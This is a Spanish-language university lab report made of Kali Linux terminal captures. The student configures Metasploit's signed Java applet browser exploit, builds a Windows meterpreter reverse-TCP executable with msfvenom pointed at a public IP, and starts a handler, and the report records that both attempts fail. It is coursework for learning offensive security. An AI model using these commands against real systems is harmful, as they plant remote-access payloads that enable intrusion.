

```

root@kali: /home/david

Archivo Acciones Editar Vista Ayuda

more > use exploit/multi/browser/java_signed_applet
[!] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):



| Name           | Current Setting | Required | Description                                                                                                                              |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------|
| APPLNAME       | SiteLoader      | yes      | The main applet's class name.                                                                                                            |
| CERTCN         | SiteLoader      | yes      | The CN= value for the certificate. Cannot contain<br>'.' or '/'                                                                          |
| SRVHOST        | 0.0.0.0         | yes      | The local host or network interface to listen on.<br>This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT        | 8080            | yes      | The local port to listen on.                                                                                                             |
| SSL            | false           | no       | Negotiate SSL for incoming connections.                                                                                                  |
| SSLCert        |                 | no       | Path to a custom SSL certificate (default is rand<br>only generated)                                                                     |
| SigningCert    |                 | no       | Path to a signing certificate in PEM or PKCS12 (.<br>pfx) format                                                                         |
| SigningKey     |                 | no       | Path to a signing key in PEM format                                                                                                      |
| SigningKeyPass |                 | no       | Password for signing key (required if SigningCert<br>is a .pfx)                                                                          |
| URIPATH        |                 | no       | The URI to use for this exploit (default is random)                                                                                      |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                                   |
|----------|-----------------|----------|---------------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, non<br>e) |
| LHOST    | 10.0.2.15       | yes      | The listen address (an interface may be specified)            |


```



UNIVERSIDAD CENTRAL DEL ECUADOR
FACULTAD FILOSOFÍA, LETRAS Y CIENCIAS DE LA EDUCACIÓN PEDAGOGÍA DE
LAS CIENCIAS EXPERIMENTALES -INFORMÁTICA

Periodo Académico: noviembre 2020– abril 2021



```
root@kali: /home/david
msf6 exploit(multi/browser/java_signed_applet) > set SRVPORT 80
SRVPORT => 80
msf6 exploit(multi/browser/java_signed_applet) > set URIPATH /
URIPATH => /
msf6 exploit(multi/browser/java_signed_applet) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):



| Name           | Current Setting | Required | Description                                                                                                                           |
|----------------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| APPLETNAME     | SiteLoader      | yes      | The main applet's class name.                                                                                                         |
| CERTCN         | SiteLoader      | yes      | The CN= value for the certificate. Cannot contain                                                                                     |
| SRVHOST        | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT        | 80              | yes      | The local port to listen on.                                                                                                          |
| SSL            | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert        |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| SigningCert    |                 | no       | Path to a signing certificate in PEM or PKCS12 (.pfx) format                                                                          |
| SigningKey     |                 | no       | Path to a signing key in PEM format                                                                                                   |
| SigningKeyPass |                 | no       | Password for signing key (required if SigningCert is a .pfx)                                                                          |
| URIPATH        | /               | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (windows/meterpreter/reverse_tcp):
```

```
root@kali: /home/david
Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.2.15       | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                         |
|----|------------------------------|
| 1  | Windows x86 (Native Payload) |



msf6 exploit(multi/browser/java_signed_applet) > set LHOST 157.100.173.19
LHOST => 157.100.173.19
msf6 exploit(multi/browser/java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):



| Name       | Current Setting | Required | Description                                                                                                                           |
|------------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| APPLETNAME | SiteLoader      | yes      | The main applet's class name.                                                                                                         |
| CERTCN     | SiteLoader      | yes      | The CN= value for the certificate. Cannot contain                                                                                     |
| SRVHOST    | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT    | 80              | yes      | The local port to listen on.                                                                                                          |
| SSL        | false           | no       | Negotiate SSL for incoming connections                                                                                                |


```



UNIVERSIDAD CENTRAL DEL ECUADOR
FACULTAD FILOSOFÍA, LETRAS Y CIENCIAS DE LA EDUCACIÓN PEDAGOGÍA DE
LAS CIENCIAS EXPERIMENTALES -INFORMÁTICA

Periodo Académico: noviembre 2020– abril 2021



```
root@kali: /home/david
msf6 exploit(multi/browser/java_signed_applet) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/browser/java_signed_applet) >
[-] Handler failed to bind to 157.100.173.19:4444:--
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://10.0.2.15:80/
[*] Server started.
msf6 exploit(multi/browser/java_signed_applet) >
```

```
root@kali: /home/david
msf6 exploit(multi/browser/java_signed_applet) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/browser/java_signed_applet) >
[-] Handler failed to bind to 157.100.173.19:4444:--
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://10.0.2.15:80/
[*] Server started.
msf6 exploit(multi/browser/java_signed_applet) >
```

No se pudo realizar las pruebas debido a no se pudo vincular a la IP



Segunda Manera (crear un archivo .exe)

```
root@kali:/home/david

Archivo Acciones Editar Vista Ayuda

(root@kali)-[/home/david]
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=157.100.173.19. LPORT=4444 -f exe > /home/david/Escritorio/prueba2.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

(root@kali)-[/home/david]
# msfconsole

Que diferencia hay entre dirección IP pública y privada?
```

```
root@kali:/home/david

Archivo Acciones Editar Vista Ayuda

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ---  -
  PAYLOAD  windows/meterpreter/reverse_tcp

Payload options (windows/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ---  -
  EXITFUNC  process  yes  Exit technique (Accepted: '', seh, thread, process, none)
  LHOST  157.100.173.19  yes  The listen address (an interface may be specified)
  LPORT  4444  yes  The listen port

Exploit target:

  Id  Name
  --  --
  0  Wildcard Target

msf6 exploit(multi/handler) > set LHOST 157.100.173.19
```



UNIVERSIDAD CENTRAL DEL ECUADOR
FACULTAD FILOSOFÍA, LETRAS Y CIENCIAS DE LA EDUCACIÓN PEDAGOGÍA DE
LAS CIENCIAS EXPERIMENTALES -INFORMÁTICA

Periodo Académico: noviembre 2020– abril 2021



```
root@kali: /home/david

Archivo Acciones Editar Vista Ayuda

Name Current Setting Required Description
-----
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 4444 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name
--
0 Wildcard Target

msf6 exploit(multi/handler) > set LHOST 157.100.173.19
LHOST => 157.100.173.19
msf6 exploit(multi/handler) > exploit

[-] Handler failed to bind to 157.100.173.19:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
```

No se pudo realizar las pruebas debido a no se pudo vincular a la IP